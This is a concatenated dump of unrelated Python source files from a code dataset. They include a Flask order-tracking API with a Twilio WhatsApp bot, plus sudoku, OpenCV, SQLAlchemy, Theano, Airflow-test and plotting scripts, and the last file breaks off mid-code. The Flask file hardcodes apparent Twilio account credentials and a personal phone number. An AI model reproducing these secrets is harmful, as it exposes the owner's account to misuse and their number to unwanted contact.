Cliente.find(cliente_id)\n return jsonify(cliente)\n\n@app.route('/clientes/', methods=['PATCH'])\ndef update_client(cliente_id):\n cliente = Cliente.find_or_fail(cliente_id)\n cliente.update(**request.get_json())\n return jsonify(cliente)\n\n@app.route('/clientes/', methods=['DELETE'])\ndef delete_client(cliente_id):\n cliente = Cliente.find_or_fail(cliente_id)\n cliente.destroy(cliente_id)\n return jsonify(cliente)\n# CRUD productos\n@app.route('/productos/', methods=['GET'])\ndef get_allproducts():\n producto = Producto.all()\n return jsonify(producto)\n\n@app.route('/productos/', methods=['POST'])\ndef add_product():\n nombre = request.get_json()[\"nombre\"]\n Producto.create(nombre = nombre) \n return jsonify(request.get_json())\n\n@app.route('/productos/', methods=['GET'])\ndef get_product(producto_id):\n producto = Producto.find(producto_id)\n return jsonify(producto)\n\n@app.route('/productos/', methods=['PATCH'])\ndef update_product(producto_id):\n producto = Producto.find_or_fail(producto_id)\n producto.update(**request.get_json())\n return jsonify(producto)\n\n@app.route('/productos/', methods=['DELETE'])\ndef delete_product(producto_id):\n producto = Producto.find_or_fail(producto_id)\n producto.destroy(producto_id)\n return jsonify(producto)\n# CRUD Pedidos\n@app.route('/pedidos/', methods=['GET'])\ndef get_allpedidos():\n pedido = Pedido.all()\n return jsonify(pedido)\n\n@app.route('/pedidos/', methods=['POST'])\ndef add_pedido():\n ubicacion = request.get_json()[\"ubicacion\"]\n cliente_id = request.get_json()[\"cliente_id\"]\n producto_id = request.get_json()[\"producto_id\"] \n Pedido.create(ubicacion = ubicacion, cliente_id = cliente_id, producto_id = producto_id) \n return jsonify(request.get_json())\n\n@app.route('/pedidos/', methods=['GET'])\ndef get_pedido(pedido_id):\n pedido = Pedido.find(pedido_id)\n return jsonify(pedido)\n\n@app.route('/pedidos/', methods=['PATCH'])\ndef update_pedido(pedido_id):\n pedido = Pedido.find_or_fail(pedido_id)\n pedido.update(**request.get_json())\n return jsonify(pedido)\n\n@app.route('/pedidos/', methods=['DELETE'])\ndef delete_pedido(pedido_id):\n pedido = Pedido.find_or_fail(pedido_id)\n pedido.destroy(pedido_id)\n return jsonify(pedido)\n\n#Chatbot Whatsapp\n@app.route('/wtspp/', methods=['POST'])\ndef whtspp():\n body = request.form.get(\"Body\")\n nroFrom = request.form.get(\"From\")\n app.logger.debug(nroFrom[9:])\n if body == 'menu':\n return sendMenu()\n elif body == 'pedidos':\n return findPedidos(nroFrom)\n elif body.startswith('mipedido'):\n return detallePedido(body)\n else:\n return msgDefault()\n\ndef detallePedido(body):\n pedido = body.replace('mipedido', '')\n pedido = pedido.strip()\n app.logger.debug(pedido)\n mipedido = Pedido.find(int(pedido))\n app.logger.debug(jsonify(mipedido))\n resp = MessagingResponse()\n account_sid = 'AC363bb259d783c872befae66bf491241b'\n auth_token = '6c3079f9596e32a456df388e1c296ef8'\n client = Client(account_sid, auth_token)\n\n message = client.messages \\\n .create(\n from_='whatsapp:+14155238886',\n body='Twilio HQ',\n persistent_action=[f'{mipedido.ubicacion}'],\n to='whatsapp:+51964291427'\n )\n msg = resp.message()\n msg.body(\"Procesando\")\n return str(resp)\n\ndef findPedidos(nroFrom):\n clientes = Cliente.all()\n app.logger.debug(jsonify(clientes))\n idCliente = 0\n for objCliente in clientes:\n app.logger.debug(objCliente.telefono)\n if(nroFrom[9:] == objCliente.telefono):\n idCliente = objCliente.id \n break\n app.logger.debug(idCliente)\n pedidos = Pedido.all()\n idsPedidos = ''\n for objPedidos in pedidos:\n if(objPedidos.cliente_id == idCliente):\n app.logger.debug(objPedidos.id)\n idsPedidos += str(objPedidos.id) +' '\n break\n respuesta = ''\n if idsPedidos == '':\n respuesta = 'No hay pedidos para tu número de telefono'\n else:\n respuesta = 'Escribe el número de pedido para ver el detalle: ' + idsPedidos\n respuesta += ' en este formato *mipedido *'\n #pedidos = .where('votes', '>', 100).update(status=2)\n resp = MessagingResponse()\n msg = resp.message()\n msg.body(respuesta)\n return str(resp)\n\ndef msgDefault():\n resp = MessagingResponse()\n msg = resp.message()\n msg.body('Hola bienvenido al sistema de control de pedidos de Bruce Porras')\n return str(resp)\n\ndef sendMenu():\n resp = MessagingResponse()\n msg = resp.message()\n response = emoji.emojize(\"\"\"\n*Hola :wave:!!! escribe las siguientes opciones:*\nYou can give me the following commands:\n:black_small_square: *'menu':* el menu principal :memo:\n:black_small_square: *'pedidos'*: busca tus pedidos :white_check_mark:\n\n\"\"\", use_aliases=True)\n msg.body(response)\n return str(resp)\n\n","sub_path":"Semana11Hackaton/bporras/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"119742669","text":"# Implementation of Sudoku Generator.\n\n# Check the validity.\ndef check_valid(grid, r, c, n):\n valid = True\n # check row and column\n for x in range(9):\n if n == grid[x][c]:\n valid = False\n break\n for y in range(9):\n if n == grid[r][y]:\n valid = False\n break\n row_section = (r // 3) * 3\n col_section = (c // 3) * 3\n for x in range(3):\n for y in range(3):\n if n == grid[row_section + x][col_section + y]:\n valid = False\n break\n return valid\n\ndef generate_puzzle():\n import random\n\n # Initialize puzzle with value '-1' in all cells.\n puzzle = [[-1 for x in range(9)] for y in range(9)]\n\n # Generate the puzzle using random.\n for i in range(20):\n row = random.randrange(9)\n col = random.randrange(9)\n num = random.randrange(1, 10)\n while not check_valid(puzzle, row, col, num) or puzzle[row][col] != -1:\n row = random.randrange(9)\n col = random.randrange(9)\n num = random.randrange(1, 10)\n puzzle[row][col] = num\n return puzzle\n\n\nif __name__ == \"__main__\":\n # Display the generated puzzle.\n sudoku_ = generate_puzzle()\n for r in range(9):\n for c in range(9):\n print(sudoku_[r][c], end=\" \")\n print()\n","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"639794878","text":"import cv2\nimport numpy as np\n\nimg = cv2.imread('bookpage.jpg')\nretval, threshold = cv2.threshold(img, 12, 255, cv2.THRESH_BINARY)\n\n\ngrayScale = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\nretval2, threshold2 = cv2.threshold(grayScale, 12, 255, cv2.THRESH_BINARY)\ngauss = cv2.adaptiveThreshold(grayScale,255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 155, 1)\n\nretval3, otsu =cv2.threshold(grayScale, 125, 255, cv2.THRESH_BINARY+cv2.THRESH_OTSU)\n\ncv2.imshow('image', img)\ncv2.imshow('thres', threshold)\ncv2.imshow('thres2', threshold2)\ncv2.imshow('gauss', gauss)\ncv2.imshow('otsu', otsu)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n","sub_path":"8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"510345088","text":"\"\"\"\nThis module sets up the database, tables and models using SQLAlchemy\nand z3c.saconfig.\n\"\"\"\n\n# we don't need to depend on Grok, just on grokcore.component\nimport grokcore.component as grok\n\nfrom sqlalchemy.schema import Table, Column, ForeignKey\nfrom sqlalchemy.types import Integer, String\nfrom sqlalchemy.orm import mapper, relation, backref\nfrom sqlalchemy import MetaData\n\nfrom z3c.saconfig import EngineFactory, GloballyScopedSession\nfrom z3c.saconfig.interfaces import IEngineCreatedEvent\n\n# we set up the engine factory and the session\n# we set them up as global utilities here. It is also possible to\n# use a local engine factory and a special locally scoped session\n# XXX for some reason it fails to work properly with a :memory: database\nTEST_DSN = 'sqlite:///test.db'\n\nengine_factory = EngineFactory(TEST_DSN)\nscoped_session = GloballyScopedSession()\n\ngrok.global_utility(engine_factory, direct=True)\ngrok.global_utility(scoped_session, direct=True)\n\nmetadata = MetaData()\n\n@grok.subscribe(IEngineCreatedEvent)\ndef setUpDatabase(event):\n # automatically create all tables if necessary as soon\n # as we first try to contact the database\n metadata.create_all(bind=event.engine)\n\n# we sketch out a fully explicit SQLAlchemy ORM mapping\n# the idea is to show that we can expose objects that are defined\n# without knowledge of how they will appear on the web, using megrok.traject\n\nfaculty = Table(\n 'faculty', metadata,\n Column('id', Integer, primary_key=True),\n Column('title', String(50)))\n\ndepartment = Table(\n 'department', metadata,\n Column('id', Integer, primary_key=True),\n Column('title', String(50), unique=True),\n Column('faculty_id', Integer, ForeignKey('faculty.id')))\n \n# it is possible to make this work without depending on\n# grokcore.component (or Grok) at all. In this case, in a Grok application be\n# aware that the browser default view for non-Grok objects is\n# index.html, *not* index. You can turn your own objects into\n# using 'index' by the following ZCML:\n#\n# \n#\n# In addition, Grok won't auto-associate views with your model\n# and you have to use an explicit grok.context()\n\nclass Faculty(grok.Context):\n def __init__(self, title):\n self.title = title\n\nclass Department(grok.Context):\n def __init__(self, title):\n self.title = title\n \nmapper(Faculty, faculty, properties={\n 'departments': relation(\n Department, backref=backref('faculty')),\n })\n\nmapper(Department, department)\n","sub_path":"grokapps/trajectrdbexample/trunk/src/trajectrdbexample/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"559533357","text":"# Создайте итерируемый объект, возвращающий генератор тридцати пяти чисел трибоначчи и выведите эти числа.\n# 0, 0, 1, 1, 2, 4, 7, 13, 24, 44, 81, 149, ...\n\ndef Tribon(n):\n a = b = 0\n c = 1\n for i in range(n):\n yield a\n SUM = a + b + c\n a = b\n b = c\n c = SUM\n\nfor x in Tribon(35):\n print(x)\n","sub_path":"labs/lab4/tribonacci.py","file_name":"tribonacci.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"291072178","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.io\nimport sys\n\n\nimport pandas as pd\nimport seaborn as sns\nfrom scipy import stats\n\nplot_b = False\nif(plot_b == True):\n partb = np.loadtxt(\"analytic_comparison_part_b.txt\", skiprows = 1)\n\n E_MC = partb[:-1,0]\n M_MC = partb[:-1,1]\n C_V_MC = partb[:-1,2]\n Chi_MC = partb[:-1,3]\n\n a_E = partb[-1,0]\n a_M = partb[-1,1]\n a_C_V = partb[-1,2]\n a_Chi = partb[-1,3]\n\n a_E_vec = np.ones_like(E_MC)*a_E\n a_M_vec = np.ones_like(M_MC)*a_M\n a_C_V_vec = np.ones_like(C_V_MC)*a_C_V\n a_Chi_vec = np.ones_like(Chi_MC)*a_Chi\n\n plot_len = np.arange(E_MC.shape[0])\n\n sns.set_style('dark', {'axes.grid':True,'axes.edgecolor':'black', 'font.family':['serif'], 'font.serif':['Roman'],\n 'xtick.bottom':True, 'ytick.left':True})\n print(sns.axes_style())\n fig, ax= plt.subplots()\n ax.set_title('T = 1.0 kT/J')\n ax.set_xlabel('Monte Carlo Cycles')\n ax.semilogx(plot_len, a_E_vec, label = 'Analytical Solution')\n ax.semilogx(plot_len, E_MC, label = 'Computed Solution')\n ax.set_ylabel(r'Mean Energy $\\langle E(T) \\rangle$')\n ax.legend()\n plt.savefig('partb_energy')\n\n fig, ax= plt.subplots()\n ax.set_title('T = 1.0 kT/J')\n ax.semilogx(plot_len, a_M_vec, label = 'Analytical Solution')\n ax.semilogx(plot_len, M_MC, label = 'Computed Solution')\n ax.set_ylabel(r'Mean Magnetization $\\langle |M(T)| \\rangle$')\n ax.legend()\n ax.set_xlabel('Monte Carlo Cycles')\n plt.savefig('partb_mag')\n\n\n fig, ax= plt.subplots()\n ax.set_title('T = 1.0 kT/J')\n ax.semilogx(plot_len, a_C_V_vec, label = 'Analytical Solution')\n ax.semilogx(plot_len, C_V_MC, label = 'Computed Solution')\n ax.set_ylabel(r'Heat Capacity $C_V$')\n ax.legend()\n ax.set_xlabel('Monte Carlo Cycles')\n plt.savefig('partb_cv')\n\n\n fig, ax= plt.subplots()\n ax.set_title('T = 1.0 kT/J')\n ax.semilogx(plot_len, a_Chi_vec, label = 'Analytical Solution')\n ax.semilogx(plot_len, Chi_MC, label = 'Computed Solution')\n ax.set_ylabel(r'Susceptibility $\\chi$')\n ax.legend()\n ax.set_xlabel('Monte Carlo Cycles')\n plt.savefig('partb_chi')\n\n plt.show()\n\nplot_c = True\nif(plot_c == True):\n\n mat_random_1 = np.loadtxt(\"1.000_MC_results_random_L20.txt\", skiprows = 1)\n mat_ordered_1 = np.loadtxt(\"1.000_MC_results_ordered_L20.txt\", skiprows = 1)\n mat_random_24 = np.loadtxt(\"2.400_MC_results_random_L20.txt\", skiprows = 1)\n mat_ordered_24 = np.loadtxt(\"2.400_MC_results_ordered_L20.txt\", skiprows = 1)\n\n\n E_r1 = mat_random_1[:,2]\n M_r1 = mat_random_1[:,3]\n flips_r1 = mat_random_1[:,4]\n\n E_o1 = mat_ordered_1[:,2]\n M_o1 = mat_ordered_1[:,3]\n flips_o1 = mat_ordered_1[:,4]\n\n E_r24 = mat_random_24[:,2]\n M_r24 = mat_random_24[:,3]\n flips_r24 = mat_random_24[:,4]\n\n E_o24 = mat_ordered_24[:,2]\n M_o24 = mat_ordered_24[:,3]\n flips_o24 = mat_ordered_24[:,4]\n\n\n N = len(mat_random_1[:,0])\n plot_vec = np.linspace(0,N,N)\n\n sns.set_style('dark', {'axes.grid':True,'axes.edgecolor':'black', 'font.family':['serif'], 'font.serif':['Roman'],\n 'xtick.bottom':True, 'ytick.left':True})\n\n # T = 1.0\n fig, (ax1, ax2) = plt.subplots(2,)\n ax1.set_title(r'T = 1.0 kT/J', x=0.52)\n plt.xlabel('Monte Carlo Cycles')\n ax1.semilogx(plot_vec,E_r1, label = 'Random Initial State', linewidth = 0.8)\n ax1.legend(loc = 'upper right')\n ax1.set_ylabel(r'$\\langle E \\rangle$')\n ax2.semilogx(plot_vec, E_o1, label = 'Ordered Initial State', linewidth = 0.8)\n ax2.legend(loc = 'upper right')\n ax2.set_ylabel(r'$\\langle E \\rangle$', labelpad = 1.1)\n plt.savefig('e_t1_l20')\n plt.show()\n\n fig, (ax1, ax2) = plt.subplots(2,)\n ax1.set_title(r'T = 1.0 kT/J', x=0.52)\n plt.xlabel('Monte Carlo Cycles')\n ax1.semilogx(plot_vec, M_r1, label = 'Random Initial State', linewidth = 0.8)\n ax1.legend(loc = 'lower right')\n ax1.set_ylabel(r'$\\langle |M| \\rangle$')\n ax2.semilogx(plot_vec, M_o1, label = 'Ordered Initial State', linewidth = 0.6)\n ax2.legend(loc = 'upper right')\n ax2.set_ylabel(r'$\\langle |M| \\rangle$')\n plt.savefig('m_t1_l20')\n plt.show()\n\n fig, (ax1, ax2) = plt.subplots(2,)\n ax1.set_title(r'T = 1.0 kT/J', x=0.52)\n plt.xlabel('Monte Carlo Cycles')\n ax1.semilogx(plot_vec, flips_r1, label = 'Random Initial State', linewidth = 0.8)\n ax1.legend(loc = 'upper right')\n ax1.set_ylabel(r'Accepted Spin Flips')\n ax2.plot(plot_vec, flips_o1, label = 'Ordered Initial State', linewidth = 0.8)\n ax2.legend(loc = 'upper right')\n ax2.set_ylabel(r'Accepted Spin Flips')\n plt.savefig('flips_t1_l20')\n plt.show()\n\n # T = 2.4\n fig, ax1 = plt.subplots()\n ax1.set_title(r'T = 2.4 kT/J', x=0.52)\n plt.xlabel('Monte Carlo Cycles')\n ax1.semilogx(plot_vec,E_r24, label = 'Random Initial State', linewidth = 0.8)\n ax1.semilogx(plot_vec, E_o24, label = 'Ordered Initial State', linewidth = 0.8)\n ax1.legend(loc = 'upper right')\n ax1.set_ylabel(r'$\\langle E \\rangle$')\n ax1.set_xlabel(r'Monte Carlo Cycles')\n plt.savefig('e_t24_l20')\n plt.show()\n\n fig, ax1 = plt.subplots()\n ax1.set_title(r'T = 2.4 kT/J', x=0.52)\n plt.xlabel('Monte Carlo Cycles')\n ax1.semilogx(plot_vec, M_r24, label = 'Random Initial State', linewidth = 0.8)\n ax1.semilogx(plot_vec, M_o24, label = 'Ordered Initial State', linewidth = 0.8)\n ax1.legend(loc = 'upper right')\n ax1.set_ylabel(r'$\\langle |M| \\rangle$')\n ax1.set_xlabel(r'Monte Carlo Cycles')\n plt.savefig('m_t24_l20')\n plt.show()\n\n fig, (ax1, ax2) = plt.subplots(2,)\n ax1.set_title(r'T = 2.4 kT/J', x=0.52)\n plt.xlabel('Monte Carlo Cycles')\n ax1.semilogx(plot_vec, flips_r24, label = 'Random Initial State', linewidth = 0.8)\n ax1.legend(loc = 'upper right')\n ax1.set_ylabel(r'Accepted Spin Flips')\n ax2.plot(plot_vec, flips_o24, label = 'Ordered Initial State', linewidth = 0.8)\n ax2.legend(loc = 'upper right')\n ax2.set_ylabel(r'Accepted Spin Flips')\n plt.savefig('flips_t24_l20')\n plt.show()\n\n\n\n\nhistogram = False\nif histogram ==True:\n sns.set_style('dark', {'axes.grid':True,'axes.edgecolor':'black', 'font.family':['serif'], 'font.serif':['Roman'],\n 'xtick.bottom':True, 'ytick.left':True})\n\n mat_random_1 = np.loadtxt(\"1.000_MC_results_random_L20.txt\", skiprows = 1)\n mat_random_24 = np.loadtxt(\"2.400_MC_results_random_L20.txt\", skiprows = 1)\n\n eq_index = 10000 #Equilibrium index, assuming equilibrium at N=10^4 (see from graph)\n L = 20 #Number of spins\n E_norm_1 = mat_random_1[:,1] / L**2\n E_norm_24 = mat_random_24[:,1]/L**2\n\n bins1 = np.arange(np.min(E_norm_1), np.max(E_norm_1), .01)\n bins24 = np.arange(np.min(E_norm_24), np.max(E_norm_24), 4 / 400)\n\n fig, ax = plt.subplots(2, 1)\n ax[0].hist(E_norm_1, bins=bins1[:10], density=True)\n ax[1].hist(E_norm_24, bins=bins24, density=True)\n ax[0].set_title(r\"$kT/J = 1$\")\n ax[1].set_title(r\"$kT/J = 2.4$\")\n ax[1].set_xlabel(r\"$E / L^2$ [J]\")\n ax[0].set_ylabel(r\"% of occurences\")\n ax[1].set_ylabel(r\"% of ocurrences\")\n fig.tight_layout(w_pad=1)\n plt.savefig('probabilities')\n plt.show()\n\n var1 = np.var(E_norm_1)\n var24 = np.var(E_norm_24)\n print('T = 1 Variance: ', var1)\n print('T = 2.4 variance: ', var24)\n\n\n\n\n #\n","sub_path":"Project4/src/plot_abcd.py","file_name":"plot_abcd.py","file_ext":"py","file_size_in_byte":7374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"539684091","text":"import theano\nimport numpy as np\nimport theano.tensor as T\n\nfrom theano import shared\nfrom numpy.random import uniform\n\nclass LogisticSoftmax(object):\n def __init__(self, input, n_in, n_out, W=None, b=None,\n activation=T.nnet.softmax):\n\n self.input = input\n self.activation = activation\n\n if W is None:\n mask = np.ones(shape=((n_in, n_out)), dtype=np.bool)\n # mask[:,-1] = 0\n W_mask = shared(mask.flatten(), name='W_mask', borrow=True)\n\n W_value = uniform(low=-1., high=1., size=(np.prod([n_in, n_out]),))\n W = shared(W_value * mask.flatten(), name='W', borrow=True)\n\n if b is None:\n mask = np.ones((n_out,), dtype=np.bool)\n # mask[-1] = 0\n b_mask = shared(mask, name='b_mask', borrow=True)\n\n b_value = np.zeros((n_out,), dtype=theano.config.floatX)\n b = shared(b_value * mask, name='b', borrow=True)\n\n self.W = W\n self.b = b\n self.params = [self.W, self.b]\n\n self.W_mask = W_mask\n self.b_mask = b_mask\n self.masks = [self.W_mask, self.b_mask]\n\n W_matrix = self.W.reshape((n_in, n_out))\n linalg = T.dot(self.input, W_matrix) + self.b\n\n if self.activation is None:\n self.output = linalg\n self.pred = self.output\n\n else:\n self.output = self.activation(linalg)\n self.pred = T.argmax(self.output, axis=1)\n","sub_path":"ml/models/LogisticSoftmax.py","file_name":"LogisticSoftmax.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"88097146","text":"#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\nfrom __future__ import annotations\n\nimport json\nimport random\nimport string\nfrom unittest.mock import patch\n\nimport pendulum\nimport pytest\nimport time_machine\n\nfrom airflow.api.client.local_client import Client\nfrom airflow.example_dags import example_bash_operator\nfrom airflow.exceptions import AirflowBadRequest, AirflowException, PoolNotFound\nfrom airflow.models import DAG, DagBag, DagModel, DagRun, Pool\nfrom airflow.utils import timezone\nfrom airflow.utils.session import create_session\nfrom airflow.utils.state import DagRunState\nfrom airflow.utils.types import DagRunType\nfrom tests.test_utils.db import clear_db_pools\n\nEXECDATE = timezone.utcnow()\nEXECDATE_NOFRACTIONS = EXECDATE.replace(microsecond=0)\nEXECDATE_ISO = EXECDATE_NOFRACTIONS.isoformat()\n\n\nclass TestLocalClient:\n @classmethod\n def setup_class(cls):\n DagBag(example_bash_operator.__file__, include_examples=False).sync_to_db()\n\n def setup_method(self):\n clear_db_pools()\n self.client = Client(api_base_url=None, auth=None)\n\n def teardown_method(self):\n clear_db_pools()\n\n @patch.object(DAG, \"create_dagrun\")\n def test_trigger_dag(self, mock):\n test_dag_id = \"example_bash_operator\"\n run_id = DagRun.generate_run_id(DagRunType.MANUAL, EXECDATE_NOFRACTIONS)\n\n DagBag(include_examples=True)\n\n # non existent\n with pytest.raises(AirflowException):\n self.client.trigger_dag(dag_id=\"blablabla\")\n\n dag_model = DagModel.get_current(test_dag_id)\n dagbag = DagBag(dag_folder=dag_model.fileloc, read_dags_from_db=True)\n dag = dagbag.get_dag(test_dag_id)\n expected_dag_hash = dagbag.dags_hash.get(test_dag_id)\n expected_data_interval = dag.timetable.infer_manual_data_interval(\n run_after=pendulum.instance(EXECDATE_NOFRACTIONS)\n )\n\n with time_machine.travel(EXECDATE, tick=False):\n # no execution date, execution date should be set automatically\n\n self.client.trigger_dag(dag_id=test_dag_id)\n mock.assert_called_once_with(\n run_id=run_id,\n execution_date=EXECDATE_NOFRACTIONS,\n state=DagRunState.QUEUED,\n conf=None,\n external_trigger=True,\n dag_hash=expected_dag_hash,\n data_interval=expected_data_interval,\n )\n mock.reset_mock()\n\n # execution date with microseconds cutoff\n self.client.trigger_dag(dag_id=test_dag_id, execution_date=EXECDATE)\n mock.assert_called_once_with(\n run_id=run_id,\n execution_date=EXECDATE_NOFRACTIONS,\n state=DagRunState.QUEUED,\n conf=None,\n external_trigger=True,\n dag_hash=expected_dag_hash,\n data_interval=expected_data_interval,\n )\n mock.reset_mock()\n\n # run id\n custom_run_id = \"my_run_id\"\n self.client.trigger_dag(dag_id=test_dag_id, run_id=custom_run_id)\n mock.assert_called_once_with(\n run_id=custom_run_id,\n execution_date=EXECDATE_NOFRACTIONS,\n state=DagRunState.QUEUED,\n conf=None,\n external_trigger=True,\n dag_hash=expected_dag_hash,\n data_interval=expected_data_interval,\n )\n mock.reset_mock()\n\n # test conf\n conf = '{\"name\": \"John\"}'\n self.client.trigger_dag(dag_id=test_dag_id, conf=conf)\n mock.assert_called_once_with(\n run_id=run_id,\n execution_date=EXECDATE_NOFRACTIONS,\n state=DagRunState.QUEUED,\n conf=json.loads(conf),\n external_trigger=True,\n dag_hash=expected_dag_hash,\n data_interval=expected_data_interval,\n )\n mock.reset_mock()\n\n # test output\n queued_at = pendulum.now()\n started_at = pendulum.now()\n mock.return_value = DagRun(\n dag_id=test_dag_id,\n run_id=run_id,\n queued_at=queued_at,\n execution_date=EXECDATE,\n start_date=started_at,\n external_trigger=True,\n state=DagRunState.QUEUED,\n conf={},\n run_type=DagRunType.MANUAL,\n data_interval=(EXECDATE, EXECDATE + pendulum.duration(hours=1)),\n )\n expected_dag_run = {\n \"conf\": {},\n \"dag_id\": test_dag_id,\n \"dag_run_id\": run_id,\n \"data_interval_start\": EXECDATE,\n \"data_interval_end\": EXECDATE + pendulum.duration(hours=1),\n \"end_date\": None,\n \"external_trigger\": True,\n \"last_scheduling_decision\": None,\n \"logical_date\": EXECDATE,\n \"run_type\": DagRunType.MANUAL,\n \"start_date\": started_at,\n \"state\": DagRunState.QUEUED,\n }\n dag_run = self.client.trigger_dag(dag_id=test_dag_id)\n assert expected_dag_run == dag_run\n mock.reset_mock()\n\n # test output when no DagRun is created\n mock.return_value = None\n dag_run = self.client.trigger_dag(dag_id=test_dag_id)\n assert not dag_run\n mock.reset_mock()\n\n def test_delete_dag(self):\n key = \"my_dag_id\"\n\n with create_session() as session:\n assert session.query(DagModel).filter(DagModel.dag_id == key).count() == 0\n session.add(DagModel(dag_id=key))\n\n with create_session() as session:\n assert session.query(DagModel).filter(DagModel.dag_id == key).count() == 1\n\n self.client.delete_dag(dag_id=key)\n assert session.query(DagModel).filter(DagModel.dag_id == key).count() == 0\n\n def test_get_pool(self):\n self.client.create_pool(name=\"foo\", slots=1, description=\"\", include_deferred=False)\n pool = self.client.get_pool(name=\"foo\")\n assert pool == (\"foo\", 1, \"\", False)\n\n def test_get_pool_non_existing_raises(self):\n with pytest.raises(PoolNotFound):\n self.client.get_pool(name=\"foo\")\n\n def test_get_pools(self):\n self.client.create_pool(name=\"foo1\", slots=1, description=\"\", include_deferred=False)\n self.client.create_pool(name=\"foo2\", slots=2, description=\"\", include_deferred=True)\n pools = sorted(self.client.get_pools(), key=lambda p: p[0])\n assert pools == [\n (\"default_pool\", 128, \"Default pool\", False),\n (\"foo1\", 1, \"\", False),\n (\"foo2\", 2, \"\", True),\n ]\n\n def test_create_pool(self):\n pool = self.client.create_pool(name=\"foo\", slots=1, description=\"\", include_deferred=False)\n assert pool == (\"foo\", 1, \"\")\n with create_session() as session:\n assert session.query(Pool).count() == 2\n\n def test_create_pool_bad_slots(self):\n with pytest.raises(AirflowBadRequest, match=\"^Bad value for `slots`: foo$\"):\n self.client.create_pool(\n name=\"foo\",\n slots=\"foo\",\n description=\"\",\n include_deferred=True,\n )\n\n def test_create_pool_name_too_long(self):\n long_name = \"\".join(random.choices(string.ascii_lowercase, k=300))\n pool_name_length = Pool.pool.property.columns[0].type.length\n with pytest.raises(\n AirflowBadRequest, match=f\"^pool name cannot be more than {pool_name_length} characters\"\n ):\n self.client.create_pool(\n name=long_name,\n slots=5,\n description=\"\",\n include_deferred=False,\n )\n\n def test_delete_pool(self):\n self.client.create_pool(name=\"foo\", slots=1, description=\"\", include_deferred=False)\n with create_session() as session:\n assert session.query(Pool).count() == 2\n self.client.delete_pool(name=\"foo\")\n with create_session() as session:\n assert session.query(Pool).count() == 1\n for name in (\"\", \" \"):\n with pytest.raises(PoolNotFound, match=f\"^Pool {name!r} doesn't exist$\"):\n Pool.delete_pool(name=name)\n","sub_path":"tests/api_experimental/client/test_local_client.py","file_name":"test_local_client.py","file_ext":"py","file_size_in_byte":9166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"58046544","text":"import json\nimport cv2\n# import lxml.etree as ET\n\ndef addDict(elementType, tag, label, coordinate):\n x,y,w,h = coordinate\n a = {\"_EA@isEnabled\": True, \"_EA@class\": elementType, \"_EA@isHidden\": False, \"_EA@isClickable\": True, \n \"tag\": tag, \"op\": \"click\", \"_TaaD::byVision\": True, \"x\": x, \"y\": y, \"width\": w, \"height\": h, \"_EA@text\": label, \"child\":[]}\n return a\n \ndef generateJsonDict(filename, img, info, sizeOG, clone6):\n heightOG, widthOG, _ = sizeOG\n f,l = (widthOG*0.01,heightOG*0.01) if widthOG0:\n second = []\n c = copy[0]\n xc,yc,wc,hc = c[1]\n mid_yc = yc+(hc*0.5)\n second.append(c)\n cnt2+=1\n for i,d in enumerate(copy[1:].copy()):\n xd,yd,wd,hd = d[1]\n mid_yd = yd+(hd*0.5)\n if abs(mid_yd-mid_yc)<=f*5 or (hd<=hc and wd<=wc and xd>=xc and xd+wd<=xc+wc and yd>=yc and yd+hd<=yc+hc):\n for e in copy[i+1:].copy():\n xe,ye,we,he = e[1]\n mid_ye = ye+(he*0.5)\n if abs(mid_ye-mid_yd)<=f*5 or (he<=hd and we<=wd and xe>=xd and xe+we<=xd+wd and ye>=yd and ye+he<=yd+hd):\n if e in copy:\n second.append(e)\n cnt2+=1\n copy.remove(e)\n if d in copy:\n second.append(d)\n cnt2+=1\n copy.remove(d)\n \n copy.remove(c)\n secondLayerList.append(second)\n\n print(cnt2)\n #print(secondLayerList)\n\n for second in secondLayerList:\n x_low, x_upp, y_low, y_upp = [width,0,height,0]\n for c in second:\n xc,yc,wc,hc = c[1]\n if xc<=x_low:\n x_low = xc\n if yc<=y_low:\n y_low = yc\n if xc+wc>=x_upp:\n x_upp = xc+wc\n if yc+hc>=y_upp:\n y_upp = yc+hc\n\n coordinate = [x_low, y_low, x_upp-x_low, y_upp-y_low]\n cv2.rectangle(clone6, (x_low, y_low), (x_upp, y_upp), (0, 0, 255), 4)\n secondLayer = {\"_EA@isEnabled\": True, \"_EA@class\": \"XCUIElementTypeOther\", \"_EA@isHidden\": False, \"_EA@isClickable\": False, \n \"tag\": \"li\", \"_TaaD::byVision\": True, \"x\": coordinate[0], \"y\": coordinate[1], \"width\": coordinate[2], \"height\": coordinate[3], \"child\":[]}\n \n\n \n for c in second:\n #同層下一個輪廓的序號、同層上一個輪廓的序號、子輪廓的序號、父輪廓的序號。\n #[[輪廓編號, 